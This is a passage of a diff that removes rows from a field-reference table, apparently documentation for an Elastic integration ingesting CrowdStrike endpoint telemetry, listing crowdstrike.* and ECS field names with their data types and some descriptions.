-| crowdstrike.NetworkModuleLoadCount |  | long |
-| crowdstrike.NetworkRecvAcceptCount |  | long |
-| crowdstrike.NewExecutableWrittenCount |  | long |
-| crowdstrike.NewFileAttributesLinux |  | keyword |
-| crowdstrike.NewFileIdentifier |  | keyword |
-| crowdstrike.NewUnixPermissions |  | keyword |
-| crowdstrike.NlMtu |  | keyword |
-| crowdstrike.Nonce |  | unsigned_long |
-| crowdstrike.OSVersionFileData |  | match_only_text |
-| crowdstrike.OSVersionFileName |  | keyword |
-| crowdstrike.OU |  | keyword |
-| crowdstrike.Object1Type |  | keyword |
-| crowdstrike.ObjectAccessOperationType |  | keyword |
-| crowdstrike.ObjectNameEtw |  | match_only_text |
-| crowdstrike.ObjectType |  | keyword |
-| crowdstrike.ObjectTypeEtw |  | match_only_text |
-| crowdstrike.Objective |  | keyword |
-| crowdstrike.OciContainerAppName |  | match_only_text |
-| crowdstrike.OciContainerAppVersion |  | match_only_text |
-| crowdstrike.OciContainerConfigImage |  | match_only_text |
-| crowdstrike.OciContainerConfigLabels |  | match_only_text |
-| crowdstrike.OciContainerConfigTty |  | match_only_text |
-| crowdstrike.OciContainerConfigUser |  | match_only_text |
-| crowdstrike.OciContainerEngineType |  | match_only_text |
-| crowdstrike.OciContainerHostConfigCgroup |  | match_only_text |
-| crowdstrike.OciContainerHostConfigDevices |  | match_only_text |
-| crowdstrike.OciContainerHostConfigOomKillDisable |  | match_only_text |
-| crowdstrike.OciContainerHostConfigPrivileged |  | match_only_text |
-| crowdstrike.OciContainerHostConfigPublishAllPorts |  | match_only_text |
-| crowdstrike.OciContainerHostConfigReadOnlyRootfs |  | match_only_text |
-| crowdstrike.OciContainerId |  | match_only_text |
-| crowdstrike.OciContainerImageId |  | match_only_text |
-| crowdstrike.OciContainerInfoRetransmitted |  | match_only_text |
-| crowdstrike.OciContainerMounts |  | match_only_text |
-| crowdstrike.OciContainerName |  | match_only_text |
-| crowdstrike.OciContainerNetworkSettingsIpAddress |  | match_only_text |
-| crowdstrike.OciContainerPhase |  | match_only_text |
-| crowdstrike.OciContainerStateOOMKilled |  | match_only_text |
-| crowdstrike.OciContainerStatePid |  | match_only_text |
-| crowdstrike.OciContainersStartedCount |  | match_only_text |
-| crowdstrike.OciContainersStoppedCount |  | match_only_text |
-| crowdstrike.OnLinkPrefixLength |  | keyword |
-| crowdstrike.OperStatus |  | keyword |
-| crowdstrike.OperationFlags |  | keyword |
-| crowdstrike.Options |  | keyword |
-| crowdstrike.OriginWebLocations |  | flattened |
-| crowdstrike.OriginalContentLength |  | keyword |
-| crowdstrike.OriginalEventTimeStamp |  | keyword |
-| crowdstrike.OriginalFilename |  | keyword |
-| crowdstrike.OriginalParentAuthenticationId |  | keyword |
-| crowdstrike.OriginalUserName |  | keyword |
-| crowdstrike.OriginalUserSid |  | keyword |
-| crowdstrike.OutBroadcastOctets |  | keyword |
-| crowdstrike.OutDiscards |  | keyword |
-| crowdstrike.OutErrors |  | keyword |
-| crowdstrike.OutMulticastOctets |  | keyword |
-| crowdstrike.OutMulticastPkts |  | keyword |
-| crowdstrike.OutNUcastPkts |  | keyword |
-| crowdstrike.OutOctets |  | keyword |
-| crowdstrike.OutUcastOctets |  | keyword |
-| crowdstrike.OutUcastPkts |  | keyword |
-| crowdstrike.Parameter1 |  | keyword |
-| crowdstrike.Parameter2 |  | keyword |
-| crowdstrike.Parameter3 |  | keyword |
-| crowdstrike.Parameter64_1 |  | keyword |
-| crowdstrike.Parameter64_2 |  | keyword |
-| crowdstrike.Parameter64_3 |  | keyword |
-| crowdstrike.ParentAuthenticationId |  | keyword |
-| crowdstrike.ParentCommandLine |  | keyword |
-| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text |
-| crowdstrike.ParentImageFileName |  | keyword |
-| crowdstrike.ParentImageFilePath |  | keyword |
-| crowdstrike.ParentProcessPatternIdList |  | keyword |
-| crowdstrike.PasswordLastSet |  | keyword |
-| crowdstrike.PathMtuDiscoveryTimeout |  | keyword |
-| crowdstrike.PatternDispositionDescription |  | keyword |
-| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
-| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.Detect |  | boolean |
-| crowdstrike.PatternDispositionFlags.FsOperationBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
-| crowdstrike.PatternDispositionFlags.InddetMask |  | boolean |
-| crowdstrike.PatternDispositionFlags.Indicator |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillActionFailed |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillParent |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillProcess |  | boolean |
-| crowdstrike.PatternDispositionFlags.KillSubProcess |  | boolean |
-| crowdstrike.PatternDispositionFlags.OperationBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.PolicyDisabled |  | boolean |
-| crowdstrike.PatternDispositionFlags.ProcessBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.QuarantineFile |  | boolean |
-| crowdstrike.PatternDispositionFlags.QuarantineMachine |  | boolean |
-| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
-| crowdstrike.PatternDispositionFlags.Rooting |  | boolean |
-| crowdstrike.PatternDispositionFlags.SensorOnly |  | boolean |
-| crowdstrike.PatternDispositionFlags.SuspendParent |  | boolean |
-| crowdstrike.PatternDispositionFlags.SuspendProcess |  | boolean |
-| crowdstrike.PatternDispositionValue |  | long |
-| crowdstrike.PatternId |  | keyword |
-| crowdstrike.PatternIdList |  | match_only_text |
-| crowdstrike.PciAttachmentState |  | keyword |
-| crowdstrike.PciConfigDataBdsm |  | match_only_text |
-| crowdstrike.PciConfigDataBiosCntl |  | match_only_text |
-| crowdstrike.PciConfigDataGenPmconA |  | match_only_text |
-| crowdstrike.PciConfigDataGgc |  | match_only_text |
-| crowdstrike.PciConfigDataHfsts1 |  | match_only_text |
-| crowdstrike.PciConfigDataMesegBase |  | match_only_text |
-| crowdstrike.PciConfigDataRemapbase |  | match_only_text |
-| crowdstrike.PciConfigDataRemaplimit |  | match_only_text |
-| crowdstrike.PciConfigDataSmramc |  | match_only_text |
-| crowdstrike.PciConfigDataTom |  | match_only_text |
-| crowdstrike.PciConfigDataTouud |  | match_only_text |
-| crowdstrike.PciConfigDataTsegmb |  | match_only_text |
-| crowdstrike.Pcr0 |  | match_only_text |
-| crowdstrike.Pcr1 |  | match_only_text |
-| crowdstrike.Pcr2 |  | match_only_text |
-| crowdstrike.Pcr3 |  | match_only_text |
-| crowdstrike.Pcr4 |  | match_only_text |
-| crowdstrike.Pcr5 |  | match_only_text |
-| crowdstrike.Pcr6 |  | match_only_text |
-| crowdstrike.Pcr7 |  | match_only_text |
-| crowdstrike.PendingUpdateIds |  | match_only_text |
-| crowdstrike.PerformanceCounter |  | keyword |
-| crowdstrike.PermanentPhysicalAddress |  | keyword |
-| crowdstrike.PhysicalAddress |  | keyword |
-| crowdstrike.PhysicalAddressLength |  | long |
-| crowdstrike.PhysicalCoreCount |  | long |
-| crowdstrike.PhysicalMediumType |  | keyword |
-| crowdstrike.PlatformId |  | keyword |
-| crowdstrike.PlatformName |  | keyword |
-| crowdstrike.PointerSize |  | keyword |
-| crowdstrike.Policy.ID |  | keyword |
-| crowdstrike.Policy.Name |  | keyword |
-| crowdstrike.PolicyRuleSeverity |  | long |
-| crowdstrike.PreferredLifetime |  | keyword |
-| crowdstrike.PrefixLength |  | keyword |
-| crowdstrike.PrefixOrigin |  | keyword |
-| crowdstrike.Prevalence.Key |  | keyword |
-| crowdstrike.PreviousConnectTime |  | date |
-| crowdstrike.PreviousFileAttributesLinux |  | keyword |
-| crowdstrike.PreviousUnixPermissions |  | keyword |
-| crowdstrike.PrimaryModule |  | keyword |
-| crowdstrike.PrivilegedProcessHandleCount |  | long |
-| crowdstrike.PrivilegesBitmask |  | keyword |
-| crowdstrike.ProcessAttributes |  | match_only_text |
-| crowdstrike.ProcessCount |  | long |
-| crowdstrike.ProcessCreateFlags |  | keyword |
-| crowdstrike.ProcessId |  | long |
-| crowdstrike.ProcessParameterFlags |  | keyword |
-| crowdstrike.ProcessStartKey |  | keyword |
-| crowdstrike.ProcessSxsFlags |  | keyword |
-| crowdstrike.ProcessorPackageCount |  | long |
-| crowdstrike.ProductType |  | keyword |
-| crowdstrike.ProtectVirtualMemoryCount |  | long |
-| crowdstrike.ProvisionState |  | keyword |
-| crowdstrike.PublicKeys |  | keyword |
-| crowdstrike.PupAdwareConfidence |  | keyword |
-| crowdstrike.PupAdwareDecisionValue |  | keyword |
-| crowdstrike.QuarantinedFileExtendedState |  | match_only_text |
-| crowdstrike.QuarantinedFileName |  | match_only_text |
-| crowdstrike.QuarantinedFileState |  | match_only_text |
-| crowdstrike.QueryStatus |  | integer |
-| crowdstrike.QueueApcCount |  | long |
-| crowdstrike.RFMState |  | keyword |
-| crowdstrike.RGID |  | keyword |
-| crowdstrike.RPath |  | match_only_text |
-| crowdstrike.RTRState |  | keyword |
-| crowdstrike.RUID |  | keyword |
-| crowdstrike.RawThreadId |  | keyword |
-| crowdstrike.ReachableTime |  | keyword |
-| crowdstrike.ReasonOfFunctionalityLevel |  | keyword |
-| crowdstrike.ReceiveLinkSpeed |  | keyword |
-| crowdstrike.ReferrerUrl |  | keyword |
-| crowdstrike.RegBinaryValue |  | match_only_text |
-| crowdstrike.RegClassification |  | keyword |
-| crowdstrike.RegClassificationFlags |  | keyword |
-| crowdstrike.RegClassificationIndex |  | keyword |
-| crowdstrike.RegConfigClass |  | keyword |
-| crowdstrike.RegConfigFlags |  | keyword |
-| crowdstrike.RegConfigIndex |  | keyword |
-| crowdstrike.RegConfigValueType |  | keyword |
-| crowdstrike.RegCreateDisposition |  | match_only_text |
-| crowdstrike.RegCreateOptions |  | match_only_text |
-| crowdstrike.RegKeySecurityDecreasedCount |  | long |
-| crowdstrike.RegObjectName |  | keyword |
-| crowdstrike.RegOperationType |  | keyword |
-| crowdstrike.RegPostObjectName |  | match_only_text |
-| crowdstrike.RegRootObjectName |  | match_only_text |
-| crowdstrike.RegStringValue |  | match_only_text |
-| crowdstrike.RegType |  | keyword |
-| crowdstrike.RegValueName |  | keyword |
-| crowdstrike.RelatedClassifications.ID |  | keyword |
-| crowdstrike.RelatedClassifications.Name |  | keyword |
-| crowdstrike.RemoteAccount |  | keyword |
-| crowdstrike.RemoteAddressMaskIP4 |  | keyword |
-| crowdstrike.RemoteAddressMaskIP6 |  | keyword |
-| crowdstrike.RemoteAddressString |  | keyword |
-| crowdstrike.RemovableDiskFileWrittenCount |  | long |
-| crowdstrike.RequestType |  | keyword |
-| crowdstrike.ResendToCloud |  | keyword |
-| crowdstrike.ResourceAttributes |  | flattened |
-| crowdstrike.ResourceCreateTime |  | date |
-| crowdstrike.ResourceId |  | keyword |
-| crowdstrike.ResourceIdType |  | keyword |
-| crowdstrike.RespondingDnsServer |  | keyword |
-| crowdstrike.ResponseAction |  | keyword |
-| crowdstrike.RetransmitTime |  | keyword |
-| crowdstrike.RootPath |  | keyword |
-| crowdstrike.RouteAge |  | keyword |
-| crowdstrike.RouteMetric |  | keyword |
-| crowdstrike.RouteOrigin |  | keyword |
-| crowdstrike.RouterDiscoveryBehavior |  | keyword |
-| crowdstrike.RpcClientProcessId |  | keyword |
-| crowdstrike.RpcClientThreadId |  | keyword |
-| crowdstrike.RpcNestingLevel |  | keyword |
-| crowdstrike.RpcOpClassification |  | match_only_text |
-| crowdstrike.RpcOpNum |  | keyword |
-| crowdstrike.RuleId |  | keyword |
-| crowdstrike.RunDllInvocationCount |  | long |
-| crowdstrike.SHA1HashData |  | keyword |
-| crowdstrike.SHA1String |  | keyword |
-| crowdstrike.SHA256HashData |  | keyword |
-| crowdstrike.SHA256String |  | keyword |
-| crowdstrike.SVGID |  | keyword |
-| crowdstrike.SVUID |  | keyword |
-| crowdstrike.SamAccountName |  | match_only_text |
-| crowdstrike.ScopeLevel |  | keyword |
-| crowdstrike.ScopeZone |  | keyword |
-| crowdstrike.ScreenshotType |  | keyword |
-| crowdstrike.ScreenshotsTakenCount |  | long |
-| crowdstrike.ScriptContent |  | match_only_text |
-| crowdstrike.ScriptContentBytes |  | match_only_text |
-| crowdstrike.ScriptContentName |  | keyword |
-| crowdstrike.ScriptContentScanId |  | match_only_text |
-| crowdstrike.ScriptControlErrorCode |  | keyword |
-| crowdstrike.ScriptEngineInvocationCount |  | long |
-| crowdstrike.ScriptingLanguageId |  | keyword |
-| crowdstrike.SecurityInformationLinux |  | keyword |
-| crowdstrike.SensorGroupingTags |  | keyword |
-| crowdstrike.SensorId |  | keyword |
-| crowdstrike.SensorStateBitMap |  | keyword |
-| crowdstrike.ServiceAccessPropertiesEtw |  | match_only_text |
-| crowdstrike.ServiceCurrentState |  | keyword |
-| crowdstrike.ServiceDelayedAutoStart |  | match_only_text |
-| crowdstrike.ServiceDependOnService |  | match_only_text |
-| crowdstrike.ServiceDescription |  | keyword |
-| crowdstrike.ServiceDisplayName |  | keyword |
-| crowdstrike.ServiceErrorControl |  | keyword |
-| crowdstrike.ServiceEventCount |  | long |
-| crowdstrike.ServiceFailureActions |  | keyword |
-| crowdstrike.ServiceImagePath |  | keyword |
-| crowdstrike.ServicePackMajor |  | keyword |
-| crowdstrike.ServiceSecurity |  | keyword |
-| crowdstrike.ServiceStart |  | keyword |
-| crowdstrike.ServiceType |  | keyword |
-| crowdstrike.SessionId |  | keyword |
-| crowdstrike.SessionProcessId |  | keyword |
-| crowdstrike.SetThreadContextCount |  | long |
-| crowdstrike.Severity |  | integer |
-| crowdstrike.SeverityName |  | keyword |
-| crowdstrike.ShannonEntropy |  | keyword |
-| crowdstrike.ShareAccess |  | keyword |
-| crowdstrike.ShareName |  | keyword |
-| crowdstrike.ShareSecurity |  | keyword |
-| crowdstrike.ShareSecuritySddl |  | keyword |
-| crowdstrike.SignInfoFlags |  | keyword |
-| crowdstrike.SignatureErrorState |  | keyword |
-| crowdstrike.SignatureState |  | keyword |
-| crowdstrike.SiteName |  | keyword |
-| crowdstrike.SitePrefixLength |  | keyword |
-| crowdstrike.Size |  | long |
-| crowdstrike.SkipAsSource |  | keyword |
-| crowdstrike.SmbClientName |  | keyword |
-| crowdstrike.SmbShareName |  | keyword |
-| crowdstrike.SnapshotFileOpenCount |  | long |
-| crowdstrike.SourceAccountDomain |  | keyword |
-| crowdstrike.SourceAccountObjectGuid |  | keyword |
-| crowdstrike.SourceAccountObjectSid |  | keyword |
-| crowdstrike.SourceAccountSamAccountName |  | keyword |
-| crowdstrike.SourceEndpointAccountObjectGuid |  | keyword |
-| crowdstrike.SourceEndpointAccountObjectSid |  | keyword |
-| crowdstrike.SourceEndpointAddressIP4 |  | keyword |
-| crowdstrike.SourceEndpointHostName |  | keyword |
-| crowdstrike.SourceEndpointNetworkTag |  | keyword |
-| crowdstrike.SourceEndpointNetworkType |  | keyword |
-| crowdstrike.SourceEventUniqueId |  | keyword |
-| crowdstrike.SourceFileName |  | keyword |
-| crowdstrike.SourceProcessId |  | keyword |
-| crowdstrike.SourceProducts |  | keyword |
-| crowdstrike.SourceThreadId |  | keyword |
-| crowdstrike.SourceThreadModule |  | match_only_text |
-| crowdstrike.SourceThreadStartAddress |  | keyword |
-| crowdstrike.SourceVendors |  | keyword |
-| crowdstrike.SpibarDataBfpr |  | match_only_text |
-| crowdstrike.SpibarDataFreg0 |  | match_only_text |
-| crowdstrike.SpibarDataFreg1 |  | match_only_text |
-| crowdstrike.SpibarDataFreg2 |  | match_only_text |
-| crowdstrike.SpibarDataFreg3 |  | match_only_text |
-| crowdstrike.SpibarDataFreg4 |  | match_only_text |
-| crowdstrike.SpibarDataHsfs |  | match_only_text |
-| crowdstrike.SpibarDataPr0 |  | match_only_text |
-| crowdstrike.SpibarDataPr1 |  | match_only_text |
-| crowdstrike.SpibarDataPr2 |  | match_only_text |
-| crowdstrike.SpibarDataPr3 |  | match_only_text |
-| crowdstrike.SpibarDataPr4 |  | match_only_text |
-| crowdstrike.SpibarDataVscc0 |  | match_only_text |
-| crowdstrike.SpibarDataVscc1 |  | match_only_text |
-| crowdstrike.StartTime |  | date |
-| crowdstrike.Status |  | keyword |
-| crowdstrike.StorageUsageInfo |  | match_only_text |
-| crowdstrike.SubStatus |  | keyword |
-| crowdstrike.SubjectDomainNameEtw |  | match_only_text |
-| crowdstrike.SuffixOrigin |  | keyword |
-| crowdstrike.SuppressType |  | keyword |
-| crowdstrike.Suppression.Suppressed |  | boolean |
-| crowdstrike.SuspectStackCount |  | long |
-| crowdstrike.SuspiciousCredentialModuleLoadCount |  | long |
-| crowdstrike.SuspiciousDnsRequestCount |  | long |
-| crowdstrike.SuspiciousFontLoadCount |  | long |
-| crowdstrike.SuspiciousRawDiskReadCount |  | long |
-| crowdstrike.SymbolicLinkName |  | keyword |
-| crowdstrike.SymbolicLinkTarget |  | keyword |
-| crowdstrike.SyntheticPR2Flags |  | keyword |
-| crowdstrike.SystemManufacturer |  | keyword |
-| crowdstrike.SystemProcessCount |  | match_only_text |
-| crowdstrike.SystemProductName |  | keyword |
-| crowdstrike.SystemSerialNumber |  | keyword |
-| crowdstrike.SystemSku |  | keyword |
-| crowdstrike.SystemTableIndex |  | long |
-| crowdstrike.Tactic |  | keyword |
-| crowdstrike.Tags |  | keyword |
-| crowdstrike.TargetAuthenticationId |  | keyword |
-| crowdstrike.TargetCommandLineParameters |  | keyword |
-| crowdstrike.TargetDomainControllerObjectGuid |  | keyword |
-| crowdstrike.TargetDomainControllerObjectSid |  | keyword |
-| crowdstrike.TargetFileName |  | keyword |
-| crowdstrike.TargetIntegrityLevel |  | keyword |
-| crowdstrike.TargetProcessCommandLine |  | keyword |
-| crowdstrike.TargetProcessImageFileName |  | keyword |
-| crowdstrike.TargetSHA256HashData |  | keyword |
-| crowdstrike.TargetThreadId |  | keyword |
-| crowdstrike.TargetThreadModule |  | keyword |
-| crowdstrike.TaskAuthor |  | keyword |
-| crowdstrike.TaskExecArguments |  | keyword |
-| crowdstrike.TaskExecCommand |  | keyword |
-| crowdstrike.TaskName |  | keyword |
-| crowdstrike.TaskXml |  | match_only_text |
-| crowdstrike.Technique |  | keyword |
-| crowdstrike.TemplateDisposition |  | keyword |
-| crowdstrike.TemplateInstanceId |  | keyword |
-| crowdstrike.ThreadStartAddress |  | keyword |
-| crowdstrike.ThreadStartBytes |  | match_only_text |
-| crowdstrike.ThreadStartContext |  | keyword |
-| crowdstrike.Timeout |  | long |
-| crowdstrike.TokenType |  | keyword |
-| crowdstrike.TotalCount |  | long |
-| crowdstrike.TransmitLinkSpeed |  | keyword |
-| crowdstrike.TreeId |  | keyword |
-| crowdstrike.TunnelType |  | keyword |
-| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
-| crowdstrike.USN |  | keyword |
-| crowdstrike.UninstallPendingUpdateIds |  | match_only_text |
-| crowdstrike.UnixMode |  | keyword |
-| crowdstrike.UnsignedModuleLoadCount |  | long |
-| crowdstrike.UpdateFlag |  | keyword |
-| crowdstrike.UploadId |  | keyword |
-| crowdstrike.User |  | keyword |
-| crowdstrike.UserDepartment |  | keyword |
-| crowdstrike.UserFlags |  | keyword |
-| crowdstrike.UserGroupsBitmask |  | keyword |
-| crowdstrike.UserLogoffType |  | keyword |
-| crowdstrike.UserLogonFlags |  | keyword |
-| crowdstrike.UserLogonFlags_decimal |  | keyword |
-| crowdstrike.UserMapped |  | boolean |
-| crowdstrike.UserMemoryAllocateExecutableCount |  | long |
-| crowdstrike.UserMemoryAllocateExecutableRemoteCount |  | long |
-| crowdstrike.UserMemoryProtectExecutableCount |  | long |
-| crowdstrike.UserMemoryProtectExecutableRemoteCount |  | long |
-| crowdstrike.UserName |  | keyword |
-| crowdstrike.UserNotified |  | boolean |
-| crowdstrike.UserRid |  | keyword |
-| crowdstrike.UserSid |  | keyword |
-| crowdstrike.UserSid_readable |  | keyword |
-| crowdstrike.UserThread |  | keyword |
-| crowdstrike.UserTime |  | long |
-| crowdstrike.UserTitle |  | keyword |
-| crowdstrike.ValidLifetime |  | keyword |
-| crowdstrike.VerifiedCertificate |  | keyword |
-| crowdstrike.VersionInfo |  | match_only_text |
-| crowdstrike.VnodeModificationType |  | keyword |
-| crowdstrike.VnodeType |  | keyword |
-| crowdstrike.VolumeAppearanceTime |  | keyword |
-| crowdstrike.VolumeBusName |  | keyword |
-| crowdstrike.VolumeBusPath |  | keyword |
-| crowdstrike.VolumeDeviceCharacteristics |  | keyword |
-| crowdstrike.VolumeDeviceInternal |  | keyword |
-| crowdstrike.VolumeDeviceModel |  | keyword |
-| crowdstrike.VolumeDeviceObjectFlags |  | keyword |
-| crowdstrike.VolumeDevicePath |  | keyword |
-| crowdstrike.VolumeDeviceProtocol |  | keyword |
-| crowdstrike.VolumeDeviceRevision |  | keyword |
-| crowdstrike.VolumeDeviceType |  | keyword |
-| crowdstrike.VolumeDeviceVendor |  | match_only_text |
-| crowdstrike.VolumeDriveLetter |  | keyword |
-| crowdstrike.VolumeEncryptionStatus |  | keyword |
-| crowdstrike.VolumeFileSystemDevice |  | keyword |
-| crowdstrike.VolumeFileSystemDriver |  | keyword |
-| crowdstrike.VolumeFileSystemType |  | keyword |
-| crowdstrike.VolumeIsEncrypted |  | keyword |
-| crowdstrike.VolumeIsNetwork |  | keyword |
-| crowdstrike.VolumeLabel |  | keyword |
-| crowdstrike.VolumeMediaBSDMajor |  | keyword |
-| crowdstrike.VolumeMediaBSDMinor |  | keyword |
-| crowdstrike.VolumeMediaBSDName |  | keyword |
-| crowdstrike.VolumeMediaBSDUnit |  | keyword |
-| crowdstrike.VolumeMediaContent |  | keyword |
-| crowdstrike.VolumeMediaEjectable |  | keyword |
-| crowdstrike.VolumeMediaName |  | keyword |
-| crowdstrike.VolumeMediaPath |  | keyword |
-| crowdstrike.VolumeMediaRemovable |  | keyword |
-| crowdstrike.VolumeMediaSize |  | keyword |
-| crowdstrike.VolumeMediaUUID |  | keyword |
-| crowdstrike.VolumeMediaWhole |  | keyword |
-| crowdstrike.VolumeMediaWritable |  | keyword |
-| crowdstrike.VolumeMountPoint |  | keyword |
-| crowdstrike.VolumeName |  | keyword |
-| crowdstrike.VolumeOriginPath |  | match_only_text |
-| crowdstrike.VolumeRealDeviceName |  | keyword |
-| crowdstrike.VolumeSectorSize |  | keyword |
-| crowdstrike.VolumeSessionUUID |  | keyword |
-| crowdstrike.VolumeSnapshotName |  | match_only_text |
-| crowdstrike.VolumeSnapshotTimeStamp |  | match_only_text |
-| crowdstrike.VolumeType |  | keyword |
-| crowdstrike.VolumeUUID |  | keyword |
-| crowdstrike.WindowFlags |  | keyword |
-| crowdstrike.WmiNamespaceName |  | keyword |
-| crowdstrike.WmiProviderName |  | keyword |
-| crowdstrike.WmiProviderType |  | keyword |
-| crowdstrike.WmiQuery |  | keyword |
-| crowdstrike.__mv_LocalAddressIP4 |  | keyword |
-| crowdstrike.__mv_aip |  | keyword |
-| crowdstrike.__mv_discoverer_aid |  | keyword |
-| crowdstrike.aid |  | keyword |
-| crowdstrike.aipCount |  | integer |
-| crowdstrike.assessments |  | flattened |
-| crowdstrike.attack_types |  | keyword |
-| crowdstrike.aws_account_id |  | keyword |
-| crowdstrike.cid |  | keyword |
-| crowdstrike.cis_benchmark_ids |  | keyword |
-| crowdstrike.cisa_benchmark_ids |  | keyword |
-| crowdstrike.cloud_asset_type |  | long |
-| crowdstrike.cloudplatform |  | keyword |
-| crowdstrike.compliance.benchmarkNames |  | keyword |
-| crowdstrike.compliance.frameworks |  | keyword |
-| crowdstrike.compliance.requirements |  | keyword |
-| crowdstrike.compliance.sections |  | keyword |
-| crowdstrike.compliance.versions |  | keyword |
-| crowdstrike.created |  | date |
-| crowdstrike.crn |  | keyword |
-| crowdstrike.discovererCount |  | integer |
-| crowdstrike.discoverer_aid |  | keyword |
-| crowdstrike.disposition |  | keyword |
-| crowdstrike.eid |  | integer |
-| crowdstrike.event-type |  | keyword |
-| crowdstrike.event_category |  | keyword |
-| crowdstrike.finding |  | keyword |
-| crowdstrike.findings.name |  | keyword |
-| crowdstrike.findings.value |  | keyword |
-| crowdstrike.firstDetected |  | date |
-| crowdstrike.hostname |  | keyword |
-| crowdstrike.id |  | keyword |
-| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object |
-| crowdstrike.info.user.\* | User information enriched from userinfo data. | object |
-| crowdstrike.internal_only |  | boolean |
-| crowdstrike.iso_benchmark_ids |  | keyword |
-| crowdstrike.lastDetected |  | date |
-| crowdstrike.legacyPolicyId |  | long |
-| crowdstrike.localipCount |  | integer |
-| crowdstrike.management_event |  | boolean |
-| crowdstrike.monthsincereset |  | keyword |
-| crowdstrike.name |  | keyword |
-| crowdstrike.nist_benchmark_ids |  | keyword |
-| crowdstrike.os_version |  | keyword |
-| crowdstrike.pci_benchmark_ids |  | keyword |
-| crowdstrike.policy_severity |  | long |
-| crowdstrike.product_type_desc |  | keyword |
-| crowdstrike.read_only |  | boolean |
-| crowdstrike.request_id |  | keyword |
-| crowdstrike.request_parameters |  | keyword |
-| crowdstrike.resource.captured |  | date |
-| crowdstrike.resource.legacyResourceId |  | keyword |
-| crowdstrike.resource.legacyResourceTypeId |  | long |
-| crowdstrike.resource.resourceId |  | keyword |
-| crowdstrike.resource.resourceType |  | keyword |
-| crowdstrike.resource_url |  | keyword |
-| crowdstrike.response_elements |  | keyword |
-| crowdstrike.revision |  | long |
-| crowdstrike.scores.modified_time |  | date |
-| crowdstrike.scores.os |  | long |
-| crowdstrike.scores.overall |  | long |
-| crowdstrike.scores.sensor |  | long |
-| crowdstrike.scores.version |  | keyword |
-| crowdstrike.service |  | keyword |
-| crowdstrike.soc2_benchmark_ids |  | keyword |
-| crowdstrike.status |  | keyword |
-| crowdstrike.subnet |  | keyword |
-| crowdstrike.url |  | keyword |
-| crowdstrike.user_identity_access_key_id |  | keyword |
-| crowdstrike.user_identity_account_id |  | keyword |
-| crowdstrike.user_identity_arn |  | keyword |
-| crowdstrike.user_identity_mfa_authenticated |  | boolean |
-| crowdstrike.vertex_id |  | keyword |
-| crowdstrike.vertex_type |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
-| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| destination.as.organization.name | Organization name. | keyword |
-| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
-| destination.geo.city_name | City name. | keyword |
-| destination.geo.continent_name | Name of the continent. | keyword |
-| destination.geo.country_iso_code | Country ISO code. | keyword |
-| destination.geo.country_name | Country name. | keyword |
-| destination.geo.location | Longitude and latitude. | geo_point |
-| destination.geo.region_iso_code | Region ISO code. | keyword |
-| destination.geo.region_name | Region name. | keyword |
-| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
-| destination.port | Port of the destination. | long |
-| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
-| dll.Ext.size | Size of DLL. | long |
-| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword |
-| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
-| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
-| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
-| dns.question.type | The type of record being queried. | keyword |
-| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword |
-| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword |
-| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
